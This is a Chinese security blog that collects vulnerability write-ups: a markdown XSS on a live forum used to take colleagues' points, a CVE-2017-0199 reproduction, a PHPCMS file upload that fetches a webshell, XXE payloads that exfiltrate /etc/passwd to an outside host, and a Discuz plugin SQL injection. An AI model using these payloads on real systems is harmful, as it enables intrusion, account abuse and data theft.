王松_Striker

安全盒子创始人,专注于Web安全研究。

分类 Web安全 下的文章

作者:@王松_Striker   时间:June 27, 2017

T00LS帖子正文XSS

T00LS在前段时间开启了markdown支持,这个漏洞也正是markdown的问题导致。

Markdown是一种可以使用普通文本编辑器编写的标记语言,通过简单的标记语法,它可以使普通文本内容具有一定的格式。

Markdown本身是一种标记语言,在网页上的应用也很简单,比如当我在markdown中输入**加粗**,那么经过转换之后,这个短句将会变成<strong>加粗</strong>。其实也是一系列的html转换,由此就会出现很多XSS的问题。

下面我结合T00LS的实例简单说一说Markdown的XSS漏洞。

最基础的栗子,点击触发XSS

很多人了解markdown以后,可能想到的第一个XSS就是这个。

我们知道markdown可以插入超链接。用法如下:

[王松的博客](http://www.hackersb.cn)

渲染出来的效果如下:

王松的博客

那么如果我们使用伪协议呢?比如:

[XSS](javascript:alert(1))

答案是可以弹框。然后我们弹出Cookies就会发现Discuz的cookies都设置了httponly,也就说说无法用javascript来获取cookies。

但是我们可以获取Discuz的formhash呀,在Discuz中,为了防止CSRF,几乎每个操作都使用了formhash,我们能获取到formhash,就可以操作当前账户几乎所有的动作了。

那么用js如何获取Dz的formhash呢?

在帖子正文页,我们可能会需要回帖,所以肯定会有formhash,如下:

那就很简单了。

获取到formhash以后,我们可以选择直接发送ajax请求来用formhash做点“有趣的事情”,比如发帖,转账?

高级一点,自动触发

在上面的操作中,我们需要被攻击者点击超链接才可以触发漏洞,那么我们能不能直接触发呢?

我们先来看看在markdown中如何使用图片吧。栗子如下:

![头像](https://www.t00ls.net/uc_server/data/avatar/000/01/08/66_avatar_middle.jpg)

渲染效果如下:

头像

我们先来看看转换后的html长啥样吧:

我们在[]中输入的内容变成了html中的alt,那么如果我们在这中间用双引号是否能够逃逸出来,加个onload或者onerror属性呢?

比如:

![头像" onload=alert(1)](https://www.t00ls.net/uc_server/data/avatar/000/01/08/66_avatar_middle.jpg)

输出结果如下:

很明显alert后面多了一个双引号,所以我们简单改一下payload,注释掉后面:

![头像" onload=alert(1);//](https://www.t00ls.net/uc_server/data/avatar/000/01/08/66_avatar_middle.jpg)

然后刷新以后:

果然执行了…… 这个时候已经自动触发了。

输出样式如下:

一个能自动触发的XSS,可比需要点击的XSS威力大了许多。

但是在实战中我们要执行的js代码可能会非常长,所以在onload里面写js难免会很麻烦。

so 我们需要引入外部js。

再高级一些,引入外部js

这次我们直接点,payload如下:

![头像" onload=s=createElement('script');body.appendChild(s);s.src='外部js的url';//](https://www.t00ls.net/uc_server/data/avatar/000/01/08/66_avatar_middle.jpg)

比如我们引用一个弹出formhash的js:

这里我用到了安全盒子的XSS平台,地址是x.secbox.cn

成功弹出formhash:

实例:转走别人的Tubi

我们先来选一个目标,这里我就选择我们团队的核心大佬 @phithon 了。

为了不误伤其他小伙伴,我这里就编辑我以前的帖子,发给phithon师傅去看,从而触发XSS。

基本思路如下:

  1. p神访问触发XSS
  2. 获取formhash
  3. ajax请求模拟赞赏帖子

这里选择赞赏贴子的原因是因为银行转账需要输入论坛密码,无法模拟转账,我们只是做漏洞演示,所以赞赏就够啦。

赞赏也是可以自定义tubi的,我们就来“偷”10个p神的tubi吧~

payload编写

很简单的payload就不解释了,如下:

var formhash = document.getElementsByName('formhash')[0].value;
fetch("https://www.t00ls.net/misc.php?action=userrate&userratesubmit=yes&infloat=yes&inajax=1&inajax=1", {
  method: "POST",
  credentials: "include",
  headers: {
    "Content-Type": "application/x-www-form-urlencoded",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
    "Accept-Encoding": "gzip, deflate, br",
    "Upgrade-Insecure-Requests": "1",
    "Connection": 'keep-alive',
  },
  body: "formhash=" + formhash + "&tid=39705&do=dashang&handlekey=userrate&score=%2B10&reason=thanks"
}).then(function(res) {
  if (res.ok) {
    alert("谢谢你的10Tubi!!!");
  }
}, function(e) {
  alert("Error submitting form!");
});

然后引入一下,即可“偷”tubi:

那么我们现在把这个帖子发给phithon师傅去看。

好了,我们现在再把这个url发给雨神:

战果:

感谢phithon和lcy的1tubi,还有雨神的10tubi。

实例:蠕虫

不敢写,想想整个T00LS都弥漫着蠕虫的气息,我就觉得害怕。

漏洞修复及总结

markdown转换到html后,再进行一系列的过滤吧,html属性白名单什么的,也可以使用开源的项目,比如:http://htmlpurifier.org/

其实这个拿到Discuz的formhash能做的事情很多很多…… 比如置顶帖子,修改版规,等等,如果是有后台权限的管理员触发,或许还可以模拟后台的一些操作,危害是挺大的。

最后再次感谢phithon和lcy的1tubi,还有雨神的10tubi。

抱拳了老铁。

作者:@王松_Striker   时间:May 5, 2017

Wscanner - 又一个调sqlmap测注入的轮子

A another sqli scanner,maybe is a full scanner.

下载地址 https://github.com/Strikersb/Wscanner

About this project

写这个扫描器的时候还很年轻,觉得写出来一定特别牛逼,但后来由于工作和个人的各种原因,没有再写这个项目。

后来看了很多的扫描器案例以及自己的视野越来越宽,有了更好的想法,另外再返回来看的时候,对自己写的这些代码特别不满意。

故该项目为废弃的半成品,仅供后生研究使用,当然也欢迎各位小伙伴继续开发,无版权限制 :)

About me

Author: 王松_Striker

Team: 安全盒子团队

Blog: www.hackersb.cn

作者:@王松_Striker   时间:April 20, 2017

CVE-2017-0199漏洞复现

CVE-2017-0199是首个Microsoft Office RTF漏洞,漏洞发布日期为2017年4月11日。受影响系统包括:

  • Microsoft Office 2016
  • Microsoft Office 2013
  • Microsoft Office 2010
  • Microsoft Office 2007

当用户打开包含嵌入式漏洞的文档时,此漏洞允许恶意攻击者下载并执行包含PowerShell命令的Visual Basic脚本。

微软官方对该漏洞的通告:https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-0199

漏洞复现

首先我们需要一个apache服务器、一个POC、一个Word。

apache

apache需要开启DAV支持,为了方便。

这里我使用了docker来搭建,写了如下Dockerfile:

FROM ubuntu:14.04
MAINTAINER 王松_Striker <song@secbox.cn>


RUN sed -i 's/archive.ubuntu.com/mirrors.ustc.edu.cn/g' /etc/apt/sources.list

RUN apt-get update -y && apt-get install -y apache2

RUN a2enmod dav \
    &&  a2enmod dav_fs  \
    &&  a2enmod dav_lock    \
    &&  a2enmod headers

RUN service apache2 restart

EXPOSE 80

COPY start.sh /start.sh
RUN chmod +x start.sh

CMD ["/start.sh"]

其中start.sh的内容为:

#!/bin/bash
service apache2 start
tail -f /var/log/apache2/access.log

然后构建该镜像:

docker build -t cve-2017-0199 .

运行容器:

docker run -d -p 8881:80 cve-2017-0199

本地打开,如果出现如下页面表示搭建成功:

14925848435463.jpg

POC

<script>
a=new ActiveXObject("WScript.Shell");
a.run('%windir%\\System32\\cmd.exe /c calc.exe', 0);window.close();
</script>

Word

新建一个Word,名为:test.docx

内容任意,我这里使用Hi, Striker

14925850692054.jpg

复现过程

首先在apache目录下建立test目录,我们需要进入docker容器中并返回一个交互shell,方便后续操作:

docker exec -it 容器ID /bin/bash

然后在交互shell中执行:

mkdir /var/www/html/test/

然后我们把test.docx复制到test目录下:

新建一个shell窗口执行:

docker cp `pwd`/test.docx 容器ID:/var/www/html/test/

然后在把test.docx命名为test.rtf:

cd /var/www/html/test/
mv test.docx test.rtf

然后新建一个word就叫mypoc.docx吧。

分别点击插入 -> 对象 -> 由文件创建 -> 链接到文件,然后输入rtf的网址。

14925855639396.png

然后把mypoc.docx另存为exp.rtf

现在我们可以删掉apache上的test.rtf,然后写入POC或直接替换掉test.rtf:

echo "<script>
a=new ActiveXObject("WScript.Shell");
a.run('%windir%\\System32\\cmd.exe /c calc.exe', 0);window.close();
</script>" > test.rtf

此时我们需要修改apache的配置:

vi /etc/apache2/apache2.conf

需要添加的内容如下:

<Directory />  
Dav on  
</Directory>  
<Directory /var/www/html/test/>  
Header set Content-Type "application/hta"  
</Directory>

效果如图:

14925864126394.jpg

然后重启服务器:

service apache2 restart

此时打开我们的exp.rtf

14925865649278.png

点击“是”,将会弹出计算器:

14925865908714.jpg

当然这个提示也是可以取消掉的。

我们用winhex打开exp.rtf\object\objautlink\rsltpict修改为\object\objautlink\objupdate\rsltpict

14925868205845.png

然后再次打开exp.rtf,直接可以弹出计算器:

14925868776852.png

文章首发于Web安全与前端公众号,欢迎关注:

作者:@王松_Striker   时间:April 14, 2017

PHPCMS最新版任意文件上传漏洞分析

前几天就听朋友说PHPCMS最新版出了几个洞,有注入还有任意文件上传,注入我倒不是很惊讶,因为phpcms只要拿到了authkey注入就一大堆……

任意文件上传倒是很惊讶,但是小伙伴并没有给我exp,今天看到了EXP,但是没有详细分析,那我就自己分析一下好啦。

首先去官网下一下最新版的程序,搭建起来。

为了方便各位小伙伴复现,这里附上最新版的下载地址:

链接: https://pan.baidu.com/s/1geNQfyb 密码: gxsd

漏洞复现

漏洞复现的办法是先打开注册页面,然后向注册页面POST如下payload:

siteid=1&modelid=11&username=123456&password=123456&email=123456@qq.com&info[content]=<img src=http://files.hackersb.cn/webshell/antSword-shells/php_assert.php#.jpg>&dosubmit=1&protocol=

然后就会报错并返回shell地址:

14919888162285.jpg

然后就可以连接啦。

14919937394854.jpg

漏洞分析

通过复现过程可以看到漏洞URL为:

http://phpcms.localhost/index.php?m=member&c=index&a=register&siteid=1

可以确定是member模块的问题,以前我分析过phpcms的程序,所以就不从index.php看了,我们直接去打开member模块的控制器文件如下:

/Users/striker/www/phpcmsv9/phpcms/modules/member/index.php

方法应该是register,我们定位到这里的函数:

14919890216033.jpg

首先是获取了一个$siteid然后加载了一些配置,再判断是否存在$_POST['dosubmit'],如果存在则进入到注册流程。

通过跟进发现跟我们漏洞有关的代码应该是从129行开始:

//附表信息验证 通过模型获取会员信息
if($member_setting['choosemodel']) {
    require_once CACHE_MODEL_PATH.'member_input.class.php';
   require_once CACHE_MODEL_PATH.'member_update.class.php';
    $member_input = new member_input($userinfo['modelid']);     
    $_POST['info'] = array_map('new_html_special_chars',$_POST['info']);
    $user_model_info = $member_input->get($_POST['info']);                                      
}

其中第134行从POST请求中传入了我们EXP的关键参数$_POST['info']

$_POST['info'] = array_map('new_html_special_chars',$_POST['info']);

但使用new_html_special_chars函数过滤了一遍,我们来跟进下这个函数都干了些什么事情。

function new_html_special_chars($string) {
    $encoding = 'utf-8';
    if(strtolower(CHARSET)=='gbk') $encoding = 'ISO-8859-15';
    if(!is_array($string)) return htmlspecialchars($string,ENT_QUOTES,$encoding);
    foreach($string as $key => $val) $string[$key] = new_html_special_chars($val);
    return $string;
}

好吧,只是用了htmlspecialchars函数来转义HTML特殊字符,影响不是特别大,继续往下跟,135行调用$member_input->get()方法进行了处理:

$user_model_info = $member_input->get($_POST['info']);

get方法不是很长,这里把代码贴出来:

function get($data) {
    $this->data = $data = trim_script($data);
    $model_cache = getcache('member_model', 'commons');
    $this->db->table_name = $this->db_pre.$model_cache[$this->modelid]['tablename'];

    $info = array();
    $debar_filed = array('catid','title','style','thumb','status','islink','description');
    if(is_array($data)) {
        foreach($data as $field=>$value) {
            if($data['islink']==1 && !in_array($field,$debar_filed)) continue;
            $field = safe_replace($field);
            $name = $this->fields[$field]['name'];
            $minlength = $this->fields[$field]['minlength'];
            $maxlength = $this->fields[$field]['maxlength'];
            $pattern = $this->fields[$field]['pattern'];
            $errortips = $this->fields[$field]['errortips'];
            if(empty($errortips)) $errortips = "$name 不符合要求!";
            $length = empty($value) ? 0 : strlen($value);
            if($minlength && $length < $minlength && !$isimport) showmessage("$name 不得少于 $minlength 个字符!");
            if (!array_key_exists($field, $this->fields)) showmessage('模型中不存在'.$field.'字段');
            if($maxlength && $length > $maxlength && !$isimport) {
                showmessage("$name 不得超过 $maxlength 个字符!");
            } else {
                str_cut($value, $maxlength);
            }
            if($pattern && $length && !preg_match($pattern, $value) && !$isimport) showmessage($errortips);
            if($this->fields[$field]['isunique'] && $this->db->get_one(array($field=>$value),$field) && ROUTE_A != 'edit') showmessage("$name 的值不得重复!");
            $func = $this->fields[$field]['formtype'];
            if(method_exists($this, $func)) $value = $this->$func($field, $value);
    
            $info[$field] = $value;
        }
    }
    return $info;
}

先调用了trim_script方法处理了一下$data,跟进查看:

 function trim_script($str) {
    if(is_array($str)){
        foreach ($str as $key => $val){
            $str[$key] = trim_script($val);
        }
    }else{
        $str = preg_replace ( '/\<([\/]?)script([^\>]*?)\>/si', '&lt;\\1script\\2&gt;', $str );
        $str = preg_replace ( '/\<([\/]?)iframe([^\>]*?)\>/si', '&lt;\\1iframe\\2&gt;', $str );
        $str = preg_replace ( '/\<([\/]?)frame([^\>]*?)\>/si', '&lt;\\1frame\\2&gt;', $str );
        $str = str_replace ( 'javascript:', 'javascript:', $str );
    }
    return $str;
}

好吧,只是进行了部分正则替换,看样子跟我们本次要谈的漏洞关系不是特别大,继续往下看。

get函数中有个关键的地方是if(is_array($data))我们payload中的infoj就是个数组,所以能走进这个if条件中,继续跟。

先是用foreach进行遍历$info,键名为$field,键值为$value,首先用safe_replace进行了一次安全替换:

$field = safe_replace($field);

safe_replace函数看看:

/**
 * 安全过滤函数
 *
 * @param $string
 * @return string
 */
function safe_replace($string) {
    $string = str_replace('%20','',$string);
    $string = str_replace('%27','',$string);
    $string = str_replace('%2527','',$string);
    $string = str_replace('*','',$string);
    $string = str_replace('"','&quot;',$string);
    $string = str_replace("'",'',$string);
    $string = str_replace('"','',$string);
    $string = str_replace(';','',$string);
    $string = str_replace('<','&lt;',$string);
    $string = str_replace('>','&gt;',$string);
    $string = str_replace("{",'',$string);
    $string = str_replace('}','',$string);
    $string = str_replace('\\','',$string);
    return $string;
}

将部分字符替换为空了,我们继续往下跟,发现geth方法中这两行很关键,很有可能跟漏洞相关:

$func = $this->fields[$field]['formtype'];
if(method_exists($this, $func)) $value = $this->$func($field, $value);

先是获取了一个$func,然后判断方法如果存在就带入这个函数,我这里用的debug模式,可以直接看到最终的$func是editor。

14919910109109.jpg

然而实际上这个editor是存在数据库中v9_model_field表中的。

14919910698276.jpg

我们继续跟进editor方法:

function editor($field, $value) {
    $setting = string2array($this->fields[$field]['setting']);
    $enablesaveimage = $setting['enablesaveimage'];
    $site_setting = string2array($this->site_config['setting']);
    $watermark_enable = intval($site_setting['watermark_enable']);
    $value = $this->attachment->download('content', $value,$watermark_enable);
    return $value;
}

然后这篇文章的高潮部分来了!!!!

看这里:

$value = $this->attachment->download('content', $value,$watermark_enable);

$value,也就是我们的info[content]带入到了$this->attachment->download函数!继续跟!!

整段函数如下:

/**
 * 附件下载
 * Enter description here ...
 * @param $field 预留字段
 * @param $value 传入下载内容
 * @param $watermark 是否加入水印
 * @param $ext 下载扩展名
 * @param $absurl 绝对路径
 * @param $basehref 
 */
function download($field, $value,$watermark = '0',$ext = 'gif|jpg|jpeg|bmp|png', $absurl = '', $basehref = '')
{
    global $image_d;
    $this->att_db = pc_base::load_model('attachment_model');
    $upload_url = pc_base::load_config('system','upload_url');
    $this->field = $field;
    $dir = date('Y/md/');
    $uploadpath = $upload_url.$dir;
    $uploaddir = $this->upload_root.$dir;
    $string = new_stripslashes($value);
    if(!preg_match_all("/(href|src)=([\"|']?)([^ \"'>]+\.($ext))\\2/i", $string, $matches)) return $value;
    $remotefileurls = array();
    foreach($matches[3] as $matche)
    {
        if(strpos($matche, '://') === false) continue;
        dir_create($uploaddir);
        $remotefileurls[$matche] = $this->fillurl($matche, $absurl, $basehref);
    }
    unset($matches, $string);
    $remotefileurls = array_unique($remotefileurls);
    $oldpath = $newpath = array();
    foreach($remotefileurls as $k=>$file) {
        if(strpos($file, '://') === false || strpos($file, $upload_url) !== false) continue;
        $filename = fileext($file);
        $file_name = basename($file);
        $filename = $this->getname($filename);

        $newfile = $uploaddir.$filename;
        $upload_func = $this->upload_func;
        if($upload_func($file, $newfile)) {
            $oldpath[] = $k;
            $GLOBALS['downloadfiles'][] = $newpath[] = $uploadpath.$filename;
            @chmod($newfile, 0777);
            $fileext = fileext($filename);
            if($watermark){
                watermark($newfile, $newfile,$this->siteid);
            }
            $filepath = $dir.$filename;
            $downloadedfile = array('filename'=>$filename, 'filepath'=>$filepath, 'filesize'=>filesize($newfile), 'fileext'=>$fileext);
            $aid = $this->add($downloadedfile);
            $this->downloadedfiles[$aid] = $filepath;
        }
    }
    return str_replace($oldpath, $newpath, $value);
}   

先是设置了一些参数,然后把我们的payload带入了一个new_stripslashes函数:

/**
 * 返回经stripslashes处理过的字符串或数组
 * @param $string 需要处理的字符串或数组
 * @return mixed
 */
function new_stripslashes($string) {
    if(!is_array($string)) return stripslashes($string);
    foreach($string as $key => $val) $string[$key] = new_stripslashes($val);
    return $string;
}

进行了一个stripslashes操作。

这行也是关键的一步:

if(!preg_match_all("/(href|src)=([\"|']?)([^ \"'>]+\.($ext))\\2/i", $string, $matches)) return $value;

这里匹配了srchref中文件的文件名,不过后缀为$ext,其中$ext的值为:gif|jpg|jpeg|bmp|png

不过匹配的并不严格,还是有办法可以绕过的,如图:

14919918914076.jpg

这一步被绕过,下面应该就是下载文件了吧。。。

随后在这一行带入了函数fillurl

$remotefileurls[$matche] = $this->fillurl($matche, $absurl, $basehref);

fillurl中还很贴心的给我们去掉了#后的内容:

$pos = strpos($surl,'#');
        if($pos>0) $surl = substr($surl,0,$pos);

这个时候$remotefileurls的值已然是http://files.hackersb.cn/webshell/antSword-shells/php_assert.php

随后便进行了万恶的下载:

$newfile = $uploaddir.$filename;
$upload_func = $this->upload_func;
if($upload_func($file, $newfile)) {
    $oldpath[] = $k;
    $GLOBALS['downloadfiles'][] = $newpath[] = $uploadpath.$filename;
    @chmod($newfile, 0777);
    $fileext = fileext($filename);
    if($watermark){
        watermark($newfile, $newfile,$this->siteid);
    }
    $filepath = $dir.$filename;
    $downloadedfile = array('filename'=>$filename, 'filepath'=>$filepath, 'filesize'=>filesize($newfile), 'fileext'=>$fileext);
    $aid = $this->add($downloadedfile);
    $this->downloadedfiles[$aid] = $filepath;
}

其中$upload_func等同于php的copy函数。

然而:

14919928348138.jpg

fopen一般都是可用的,如果开启了allow_url_fopen,这个漏洞就构成了,然而大部分环境都默认开启了allow_url_fopen

最终在插入注册信息时因为混入了未知的参数而导致插入失败,报错就显示出了这个未知的参数 23333

至此,该漏洞分析完成。

漏洞修复

官方目前仍未发布修复补丁。

临时修复方案可以考虑禁用uploadfile目录下的PHP执行权限。

作者:@王松_Striker   时间:April 14, 2017

XML实体注入漏洞攻与防

目录

  1. XML基础
  2. XML实体注入漏洞的几种姿势
  3. 防御XML实体注入漏洞

XML基础

XML是一种用于标记电子文件使其具有结构性的标记语言,用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。

XML技术基础我在这里将不在详细解读,有兴趣的小伙伴可以通过如下几个链接去学习XML基础:

  • https://www.xml.com/axml/axml.html
  • http://www.w3school.com.cn/xml/index.asp
  • https://www.ibm.com/developerworks/cn/xml/x-newxml/

当然还是建议读者详细阅读以上任意一个文档并实践之后再继续往下看,以免造成知识跨度太大,看不懂或一知半解的情况。

XML实体注入基础

当允许引用外部实体时,通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。

简单了解XML以后,我们知道要在XML中使用特殊字符,需要使用实体字符,也可以将一些可能多次会用到的短语(比如公司名称)设置为实体,然后就可以在内容中使用。

如下就声明了一个名为coname值为QiHoo 360的实体。

<!DOCTYPE UserData [ <!ENTITY coname "QiHoo 360" > ]>

要在XML中使用实体,使用&coname;即可。

为了演示漏洞,我们写一个简单的PHP脚本,如下:

<?php

$xml = file_get_contents("php://input");
$data = simplexml_load_string($xml);

foreach ($data as $key => $value){
    echo "您的" . translate($key) . "是" . $value . "<br>";
}

function translate($str){
    switch ($str){
        case "name":
            return "名字";
        case "wechat":
            return "微信";
        case "public_wechat":
            return "微信公众号";
        case "website":
            return "网站";
    }
}

假设这里我们希望用户输入的是:

<?xml version="1.0" encoding="utf-8" ?>
<user>
    <name>Striker</name>
    <wechat>strikersb</wechat>
    <public_wechat>sec_fe</public_wechat>
    <website>http://www.hackersb.cn</website>
</user>

然后就可以返回如下页面:

14916775957948.jpg

XML实体注入漏洞的几种姿势

方法1:

<!DOCTYPE a [ <!ENTITY b SYSTEM "file:///etc/passwd"> ]>

方法2:

<!DOCTYPE a [ <!ENTITY %d SYSTEM "http://www.hackersb.cn/attack.dtd"> %d; ]>

其中attack.dtd的内容为:

<!ENTITY b SYSTEM "file:///etc/passwd">

方法3:

<!DOCTYPE a SYSTEM "http://www.hackersb.cn/attack.dtd">

其中attack.dtd内容同上不变。

利用xml实体注入我们可以读取本地任意文件。

读取任意文件的思路大概就是引入一个实体,实体内容为本地文件。

使用我们如上说的任意一种方法即可实现,我这里使用第一个(因为最方便)。

构造payload如下:

<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE a [ <!ENTITY b SYSTEM "file:///etc/passwd"> ]>
<user>
<name>Striker</name>
<wechat>strikersb</wechat>
<public_wechat>sec_fe</public_wechat>
<website>&b;</website>
</user>

提交后查看返回信息:

14916793145428.jpg

可以看到成功读取了/etc/passwd文件。

如果我们实战中所在的场景下XML并没有回显,我们也可以使用另外一种方法读取文件。

<!DOCTYPE a [ 
<!ENTITY %file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY %dtd SYSTEM "http://www.hackersb.cn/attack.dtd">
%dtd;
%mydata;
]>

其中attack.dtd的内容为:

<!ENTITY %all
"<!ENTITY &#x25; mydata SYSTEM "http://www.hackersb.cn/?%file">"
>

发送payload以后就可以在http://www.hackersb.cn/的访问日志中看到请求且带上了/etc/passwd文件base64加密以后的内容:

14916798645027.jpg

我们既然可以使用file协议读取本地文件,当然也可以使用http协议访问来造成SSRF攻击,甚至可以使用gopher协议。

具体能使用的协议主要取决于PHP,PHP默认支持file、http、ftp、php、compress、data、glob、phar、gopher协议。

如果PHP支持except模块,我们还可以利用except模块来执行系统命令。

简单的SSRF攻击实例如下:

<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE a [ <!ENTITY b SYSTEM "http://127.0.0.1:1234/"> ]>
<user>
<name>Striker</name>
<wechat>strikersb</wechat>
<public_wechat>sec_fe</public_wechat>
<website>&b;</website>
</user>

然后就可以监听到访问了。

14916801785469.jpg

SSRF攻击可以成功的话,我们自然可以进而攻击企业内网的系统。

其他更多的危害各位可以参考OWASP出的文档:

https://www.owasp.org/images/5/5d/XML_Exteral_Entity_Attack.pdf

防御XML实体注入漏洞

  • 禁用XML使用外部实体
  • 尽量不要让用户直接提交XML代码,如果一定要,请做好过滤。
作者:@王松_Striker   时间:February 21, 2017

浅谈Discuz插件代码安全

目录

  • Discuz介绍
  • Discuz插件介绍
  • 结合实例讲解Discuz插件安全
  • 结语

Discuz介绍

Crossday Discuz! Board(简称 Discuz!)是北京康盛新创科技有限责任公司推出的一套通用的社区论坛软件系统。自2001年6月面世以来,Discuz!已拥有15年以上的应用历史和200多万网站用户案例,是全球成熟度最高、覆盖率最大的论坛软件系统之一。目前最新版本Discuz! X3.2正式版于2015年6月9日发布,首次引入应用中心的开发模式。2010年8月23日,康盛创想与腾讯达成收购协议,成为腾讯的全资子公司。(摘自百度百科)

Discuz代码非常灵活,支持自定义模板和插件,这让Discuz拥有了极强的diy性,再加上操作简单快捷,入门门槛低,使得这款开源软件在中国发展异常迅猛,成为市面上主流的论坛程序。

本文主要介绍Discuz插件相关的安全问题。

Discuz插件介绍

Discuz插件主要分为“程序链接”、“扩展项目”、“程序脚本”三类。

程序链接:允许插件在Discuz中某些特定导航位置加入菜单项,可自主指派菜单链接的 URL,也可以调用插件的一个模块,模块文件名指派为 source/plugin/插件目录/插件模块名.inc.php”。注意:由于引用外部程序,因此即便设置了模块的使用等级,您的程序仍需进行判断使用等级是否合法。

扩展项目:允许插件在更多的位置增加菜单项/管理模块,以及可在后台插件列表页增添一个远程链接(X3.1新增)。

程序脚本:允许插件设置一个包含页面嵌入脚本的模块,该模块可用于在普通电脑及移动端访问的页面显示。模块文件名指派为 “source/plugin/插件目录/插件模块名.class.php”,以及设置一个特殊主题脚本的模块,模块文件名指派为“source/plugin/插件目录/插件模块名.class.php”。

可以为每个模块设置不同的使用等级,例如设置为“超级版主”,则超级版主及更高的管理者可以使用此模块。

扩展项目模块可以在社区的特定位置扩展出新的功能,通常用于扩展新的设置项目。项目的脚本文件以 .inc.php 结尾(如 test.inc.php),模版为固定文件名,位于插件目录的 template/ 子目录中,文件名与脚本名同名(如 test.htm),扩展名为 .htm。添加相应的扩展项目模块时,需注明程序模块、菜单名称。例如我们添加个人面板项目,程序模块为 test,菜单名称是“测试”,当插件启用后,个人面板即家园的设置中会出现“测试”拓展项目。

在新插件内核中,通过 plugin.php 方式访问的插件可直接通过 plugin.php?id=xxx:yyy 方式调用而无需再在后台定义为普通脚本模块,只要 source/plugin/xxx/yyy.inc.php 文件存在即可。如果 xxx 和 yyy 同名,可直接通过 plugin.php?id=xxx 方式访问。

结合实例讲解Discuz插件安全

我们知道Discuz插件主要分为“程序链接”、“扩展项目”、“程序脚本”三类。

这里我们主要着重分析”程序脚本“,因为大部分跟数据库相关及逻辑相关的代码仅能在这种插件类型中存在,存在安全问题的可能性最大。

这里我们以一款名为”小说阅读器“的插件为例,深入了解Discuz插件机制及漏洞挖掘。

首先我们安装并启用该插件:

14873267051540.jpg

随后首页多出了一个”小说主页“的导航:

14873267440586.jpg

并且我们可以看到当前的url是plugin.php?id=xxx:xxx上面我们已经讲过这种格式的页面访问到的最终文件在插件目录下xxx.inc.php文件中。

那么这个“小说主页”的相关文件就在jameson_read目录下的readmain.inc.php中:

我们查找并打开相关文件:

14873268879052.jpg

跟我们预想的一样,这个文件果然是存在的。我们来输出写数字然后exit()确认一下我们的想法:

14873270338186.jpg

查看页面:

14873270493146.jpg

OK,现在我们继续来看这个插件的逻辑是怎么样的,是不是有相关的安全问题存在。

其中第7行:

/*排序字段*/
$orderfield = isset($_GET['orderfield']) && trim($_GET['orderfield'])?trim($_GET['orderfield']):'views';

很明显,从get请求中获取了orderfield赋值给$orderfield并且只使用trim()函数进行了处理,这里明显是有问题的。

继续往下跟进发现传进了fetch_by_get函数的第3个参数:

$categoryarray[$row['category_id']]['sub'][$subrow['category_id']]['book'] = C::t('#jameson_read#jamesonread_books')->fetch_by_get($subrow['category_id'],4,$orderfield,1);

继续跟进fetch_by_get函数,文件路径在:/Users/striker/www/discuz3/upload/source/plugin/jameson_read/table/table_jamesonread_books.php第120行:

function fetch_by_get($cate=0,$num,$orderfield){
    return DB::fetch_all("SELECT * FROM %t WHERE category_id=%d AND is_top=1 ORDER BY %i DESC,ordernum DESC LIMIT %d",array($this->_table,$cate,$orderfield,$num));
}

发现将$orderfield直接传入了Discuz自带的DB::fetch_all函数中执行,我们继续跟进fetch_all函数:

public static function fetch_all($sql, $arg = array(), $keyfield = '', $silent=false) {

    $data = array();
    $query = self::query($sql, $arg, $silent, false);
    while ($row = self::$db->fetch_array($query)) {
        if ($keyfield && isset($row[$keyfield])) {
            $data[$row[$keyfield]] = $row;
        } else {
            $data[] = $row;
        }
    }
    self::$db->free_result($query);
    return $data;
}

这个函数将sql语句又传入到self::query函数:

public static function query($sql, $arg = array(), $silent = false, $unbuffered = false) {
    if (!empty($arg)) {
        if (is_array($arg)) {
            $sql = self::format($sql, $arg);
        } elseif ($arg === 'SILENT') {
            $silent = true;

        } elseif ($arg === 'UNBUFFERED') {
            $unbuffered = true;
        }
    }
    self::checkquery($sql);

    $ret = self::$db->query($sql, $silent, $unbuffered);
    if (!$unbuffered && $ret) {
        $cmd = trim(strtoupper(substr($sql, 0, strpos($sql, ' '))));
        if ($cmd === 'SELECT') {

        } elseif ($cmd === 'UPDATE' || $cmd === 'DELETE') {
            $ret = self::$db->affected_rows();
        } elseif ($cmd === 'INSERT') {
            $ret = self::$db->insert_id();
        }
    }
    return $ret;
}

这个函数又调用了self::format()进行格式化语句:

public static function format($sql, $arg) {
    $count = substr_count($sql, '%');
    if (!$count) {
        return $sql;
    } elseif ($count > count($arg)) {
        throw new DbException('SQL string format error! This SQL need "' . $count . '" vars to replace into.', 0, $sql);
    }

    $len = strlen($sql);
    $i = $find = 0;
    $ret = '';
    while ($i <= $len && $find < $count) {
        if ($sql{$i} == '%') {
            $next = $sql{$i + 1};
            if ($next == 't') {
                $ret .= self::table($arg[$find]);
            } elseif ($next == 's') {
                $ret .= self::quote(is_array($arg[$find]) ? serialize($arg[$find]) : (string) $arg[$find]);
            } elseif ($next == 'f') {
                $ret .= sprintf('%F', $arg[$find]);
            } elseif ($next == 'd') {
                $ret .= dintval($arg[$find]);
            } elseif ($next == 'i') {
                $ret .= $arg[$find];
            } elseif ($next == 'n') {
                if (!empty($arg[$find])) {
                    $ret .= is_array($arg[$find]) ? implode(',', self::quote($arg[$find])) : self::quote($arg[$find]);
                } else {
                    $ret .= '0';
                }
            } else {
                $ret .= self::quote($arg[$find]);
            }
            $i++;
            $find++;
        } else {
            $ret .= $sql{$i};
        }
        $i++;
    }
    if ($i < $len) {
        $ret .= substr($sql, $i);
    }
    return $ret;
}

这个函数首先判断了%出现的次数,如果没有出现则扔出错误。

然后写两个一个while循环来拼接sql语句,查找百分号后面的字母,我们这里的$orderfield传入时是%i所以我们只关注这个分支:

elseif ($next == 'i') {
    $ret .= $arg[$find];

如果百分号后面是i的话,就直接拼接带入进去,没有进行其他的处理。

最终format函数返回了拼接后的sql语句。

为了验证我们的想法,我们来在返回以后输出一下返回的sql语句,我们提交orderfield为111select

14873284889628.jpg

最终SQL报错,可以看到我们的数据是带入到SQL查询中了。

我们可控的注入点是在ORDER BY后面,

而且Discuz现在是有一个全局的waf,过滤了一些字符,导致很难进行注入。

后面有机会再发一篇DiscuzWAF相关的文章吧。

最终使用如下payload成功注入:

